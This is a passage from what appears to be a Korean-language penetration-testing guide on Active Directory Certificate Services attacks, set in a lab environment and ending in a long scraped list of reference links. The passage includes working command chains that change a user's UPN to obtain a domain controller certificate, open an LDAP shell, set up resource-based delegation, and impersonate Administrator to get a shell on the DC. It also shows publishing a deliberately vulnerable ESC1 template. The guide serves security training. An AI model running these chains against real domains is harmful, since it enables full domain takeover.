[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.

이전 케이스와 마찬가지로, 일반 사용자로는 레지스트리 키 값을 직접 조회할 수 없습니다. 높은 권한이 있다면 impacket-reg를 통해서 레지스트리 키 값을 확인할 수 있지만, 침투자의 관점에서 볼 때는 공격의 성공 여부에 따라 키 값을 유추할 수 있습니다.

이 레지스트리 키는 Schannel 인증 방식을 사용하기 때문에, PKINIT 방식으로는 인증서를 사용할 수 없습니다. 이를 위해 Certipy-ad의 -ldap-shell 파라미터를 사용하여 Schannel을 이용해 인증 후 LDAP 쉘을 획득할 수 있으며, 이후 다양한 공격 수행이 가능합니다. 예를 들어서 새로운 머신 계정을 생성 후 제약된 위임을 하여 RBCD를 통한 권한 상승이 가능합니다.

# User 계정의 권한으로 User 2 계정의 UPN을 DC 머신 계정으로 변경
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <DC@Domain> -dc-ip <dc-ip>

# DC 머신 계정의 UPN으로 변경된 User 2 계정의 권한으로 인증서 발급
certipy-ad req -u <USER> -p <PASS> -ca <CA> -template User -dc-ip <dc-ip>

# User 2 계정의 UPN을 원상복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2@Domain> -dc-ip <dc-ip>

# 발급한 DC 머신 계정의 PFX 파일을 통해 LDAP 쉘 획득
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip> -ldap-shell

# 획득한 쉘에서 RBCD 공격을 위한 머신 계정 생성
add_computer <New USER> <New PASS>

# DC 머신을 가장할 수 있는 권한을 생성한 머신에 위임(Constrained Delegation)
set_rbcd <DC Machine> <New Machine>

# Constrained Delegation을 이용하여 Administrator 서비스 티켓 발급
impacket-getST -spn cifs/<DC FQDN> -impersonate Administrator -dc-ip <dc-ip> <domain/USER:PASS>

# 생성된 티켓을 환경 변수로 지정
export KRB5CCNAME=Administrator.ccache

# 발급한 서비스 티켓을 통한 윈도우 CMD쉘 획득
impacket-wmiexec -k -no-pass <DC FQDN>

References

Mastering Manager: Unveiling MSSQL and ADCS ESC 7 Exploits on HackTheBoxMedium
Logo
https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8
Logo

ESC5

ESC5는 AD CS와 직접적으로 연결된 객체에 대한 제어권을 악용하여 권한 상승을 하는 공격 기법입니다. 다른 ESC 기법들과 같이 템플릿이나 인증 기관 서비스에 존재하는 취약점 외에도, AD CS와 직접적으로 연결된 객체들에 대한 제어권은 권한 상승을 허용할 수 있습니다. ESC5를 악용하기 위해서는 다음과 같은 객체에 대한 권한이 필요합니다.

  • CA 서버의 AD 컴퓨터 객체

  • CA 서버의 RPC/DCOM 서버

  • CN=Public Key Services, CN=Services, CN=Configuration, DC=, DC= 컨테이너 내의 하위 AD 객체 또는 컨테이너(ex - Certificate Templates 컨테이너, Certification Authorities 컨테이너, NTAuthCertificates 객체, Enrollment Services 컨테이너 등)

공격자가 위와 같은 객체 중 하나를 손상시키면 PKI 시스템이 손상되어 권한 상승을 야기할 수 있습니다. ESC 시리즈의 공격이 모두 템플릿을 이용한 것은 아니다보니, 실제적으로 AD CS의 객체 권한을 확보해 권한 상승을 이어가는 ESC5와 같은 공격은 Certipy-ad find 결과로 출력되지 않습니다. CA에 접근할 수 있는 객체에 할당된 권한 별로 Certipy-ad find의 결과가 모두 다르듯이, 일반 사용자의 권한으로는 취약한 템플릿이 식별되지 않다가도 앞서 언급한 3가지 중 하나의 제어권을 획득한다면 ESC4 혹은 ESC7 공격을 통해 도메인 관리자 권한 획득이 가능합니다.

Practice

현재 실습 환경 호스트 별 IP 주소는 다음과 같습니다.

  • Domain Controller - 172.168.19.3

  • ADCS Server - 172.16.19.5

  • Pivot Host - 10.129.205.205

  • Kali Linux - 10.10.14.211

Kali 환경에서 ADCS Server를 향한 패킷을 직접적으로 전송하지 못하는 환경이기 때문에 Dynamic Port Forwarding을 이용하여 피벗 호스트를 통한 패킷을 Proxychains로 전송합니다. Pivot Host를 통해 ADCS Server의 서비스를 이용할 때 사용하는 계정은 ADCS의 로컬 관리자 권한을 가진 계정이기 때문에 필요 조건을 만족하여 공격이 가능합니다.

# 포트포워딩을 통한 ADCS Server 템플릿 정보 스캔
proxychains4 -q certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -stdout -ns <dc-ip> -dns-tcp 

만약 장악한 호스트가 ADCS Server인 것에 대해서 확신이 없다면, SubCA 템플릿의 Certificate Authorities 속성에 대한 값과 일치하는 호스트 네임을 찾을 수도 있습니다.

Template Name                       : SubCA                                                                       
Display Name                        : Subordinate Certification Authority                                                                                                                                                               
Certificate Authorities             : lab-WS01-CA                                                                 
Enabled                             : True                                                                        
Client Authentication               : True                                                                        
Enrollment Agent                    : True                                                                        
Any Purpose                         : True                                                                        
Enrollee Supplies Subject           : True                                                                        
Certificate Name Flag               : EnrolleeSuppliesSubject                                                     
Enrollment Flag                     : None                                                                        
Private Key Flag                    : ExportableKey                                                               
Requires Manager Approval           : False                                                                       
Requires Key Archival               : False                                                                       
Authorized Signatures Required      : 0
Validity Period                     : 5 years
Renewal Period                      : 6 weeks
Minimum RSA Key Length              : 2048
Permissions
  Enrollment Permissions
    Enrollment Rights               : LAB.LOCAL\Domain Admins
                                      LAB.LOCAL\Enterprise Admins
  Object Control Permissions
    Owner                           : LAB.LOCAL\Enterprise Admins
    Write Owner Principals          : LAB.LOCAL\Domain Admins
                                      LAB.LOCAL\Enterprise Admins
    Write Dacl Principals           : LAB.LOCAL\Domain Admins
                                      LAB.LOCAL\Enterprise Admins
    Write Property Principals       : LAB.LOCAL\Domain Admins
                                      LAB.LOCAL\Enterprise Admins

이후의 공격 과정은 ESC4 혹은 ESC7과 동일하기 때문에 생략합니다.

References

Logo
Logo
Outlook 데이터 파일(.pst 및 .ost) 소개 - Microsoft 지원
Logo

Abuse Permissions

Active Directory 내에서 적절한 권한을 가지고 있으면 CA 서버의 템플릿 설정이 가능합니다. 템플릿을 업로드하여 활성화 시키는 권한이 있을 경우 ESC 공격에 취약한 템플릿을 로컬에 업로드 후 로드하여 악용할 수 있습니다. 주로 악용할 수 있는 권한과 그룹은 다음과 같습니다.

  • Enterprise Admins

  • Domain Admins

  • CA Admins

  • PKI Admins

PKI Admins, CA Admins를 포함하여 일부 그룹은 템플릿 변경 권한이 있음에도 이름이 다르게 표시될 수 있습니다. 이는 기본적으로 AD/CA에서 제공하는 그룹이 아니기 때문입니다. 따라서 그룹명을 통해, 혹은 사용자 이름을 통해 템플릿 수정 권한이 있는지 파악하는 것도 중요합니다.

의도적으로 취약한 템플릿을 활성화 하기 위해서 ADCSTemplate.psm1 모듈을 먼저 로컬에 다운로드 한 뒤 임포트 해야 합니다. 그 이후엔 ESC1과 같은 템플릿을 업로드하여 사용합니다.

Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName ESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity <Domain>/<Group>

References

Logo
https://www.xcitium.com/password-spraying/
PKCS 12Wikipedia
https://hunter.io/searchhunter.io
VBS File - What is a .vbs file and how do I open it?FileInfo.com
Logo
Clodura.AI
Logo
HC File Extension: What Is It & How To Open It?
Logo
Logo
hunter.io에 검색한 Google 임직원 정보
Clodura에 검색한 Google 임직원 정보
Logo
Logo
Logo
Logo
Logo
Logo
Vite Arbitrary File Read Vulnerability (CVE-2025-31486) - NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks.NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks.
Logo
Incorrect Authorization in vite | CVE-2025-31486 | SnykLearn more about npm with Snyk Open Source Vulnerability Database
HTB Writeup - Mist | AxuraAxura
인증 모드 선택 - SQL ServerMicrosoftLearn
Logo
1433 - Pentesting MSSQL - Microsoft SQL ServerHackTricks
REST API vs GraphQL 차이점 알아보기
Logo
동일 출처 정책(SOP)과 CORS
[간단정리] GraphQL이란? (REST api와 차이점)TISTORY
Logo
2-1. 취약한 CORS 유형 (1) - 반사된 ACAO 및 True ACACTISTORY
Logo
DCShadow - Becoming a Rogue Domain ControllerRed Teaming Experiments
DC Shadow | The Hacker Recipes
Certificate Stores - Windows driversMicrosoftLearn
Logo
What a DCShadow Attack Is and How to Defend Against ItNetwrix Blog | Insights for Cybersecurity and IT Pros
Logo
AspEncrypt.com - Manage X.509 Certificates and Certificate Stores
Scheduled Task/Job: Systemd Timers, Sub-technique T1053.006 - Enterprise | MITRE ATT&CK®
Logo
Andariel 공격 그룹이 활용하는 RID Hijacking 공격 기법 - ASECASEC
GitHub - wgpsec/CreateHiddenAccount: A tool for creating hidden accounts using the registry || 一个使用注册表创建隐藏帐户的工具GitHub
Persistence – WMI Event SubscriptionPenetration Testing Lab
Process Monitor - Sysinternalsdocsmsft
Process Monitor - Sysinternalsdocsmsft
GitHub - Sw4mpf0x/PowerLurk: Malicious WMI Events using PowerShellGitHub
DLL 하이재킹(DLL Hijacking)을 통한 프로그램 해킹TISTORY
GitHub - ConsciousHacker/WFHGitHub
DLL Hijacking PART 1: Search Order HijackingSecurity & Intelligence 이글루코퍼레이션
Logo
Logo
Logo
Logo
Logo
Logo
Logo
GitHub - Flangvik/SharpDllProxy: Retrieves exported functions from a legitimate DLL and generates a proxy DLL source code/template for DLL proxy loading or sideloadingGitHub
Logo
DLL Hijacking PART 2: DLL Side-LoadingSecurity & Intelligence 이글루코퍼레이션
Logo
Logo
Logo
DLL 사이드로딩 (DLL Side-Loading) | 레드팀 플레이북
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
GenericAllBloodHound
Logo
GitHub - Hackndo/pyGPOAbuse: Partial python implementation of SharpGPOAbuseGitHub
Logo
Logo
Logo
Abusing AD-DACL: AllExtendedRights - Hacking ArticlesHacking Articles
Logo
Active Directory Certificate Services (ADCS – ESC4) | RBT SecurityRBT Security | Reinventing The Security
https://academy.hackthebox.com/module/236/section/2544academy.hackthebox.com
Logo
Edit vulnerable Certificate Authority setting (ESC6) - Microsoft Defender for IdentityMicrosoftLearn
Logo
Risk to the Active Directory overall structure through the EDITF_ATTRIBUTESUBJECTALTNAME2 flag - Uwe Gradenegger
Logo
Phantom - Vulnlabdaz
esc4Red Team Wiki
AllowedToActBloodHound
https://www.beyondtrust.com/blog/entry/esc4-attackswww.beyondtrust.com
https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py
AddAllowedToAct | 레드팀 플레이북
Exploiting AD CS: A quick look at ESC1 and ESC8 | Crowe LLPCrowe
Logo
Mitigating ESC1 and ESC8 Vulnerability in Active DirectoryEncryption Consulting
Active Directory Certificate Attack: ESC8 – ADCS Web Enrollment | RBT SecurityRBT Security | Reinventing The Security
Logo
Logo
https://academy.hackthebox.com/module/236/section/2540academy.hackthebox.com
[MS-ICPR]: CertServerRequest (Opnum 0)MicrosoftLearn
Logo
Certification Authority Web Enrollment Role Service in Windows ServerMicrosoftLearn
Logo
Relaying to AD Certificate Services over RPCCompass Security Blog
[MS-ICPR]: OverviewMicrosoftLearn
Logo
https://academy.hackthebox.com/module/236/section/2549academy.hackthebox.com
AD CS Domain Escalation | HackTricks
https://academy.hackthebox.com/module/236/section/2543academy.hackthebox.com
https://academy.hackthebox.com/module/236/section/2546academy.hackthebox.com
ADCSTemplate/ADCSTemplate.psm1 at master · GoateePFE/ADCSTemplateGitHub
Logo
GOAD/ansible/roles/adcs_templates/files/ESC1.json at 4cc6cbc1bdc86a236649d6c1e2c0dbf856bedeb6 · Orange-Cyberdefense/GOADGitHub
HTB: CoderMedium
Logo
Logo
Logo
https://academy.hackthebox.com/module/236/section/2542academy.hackthebox.com
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo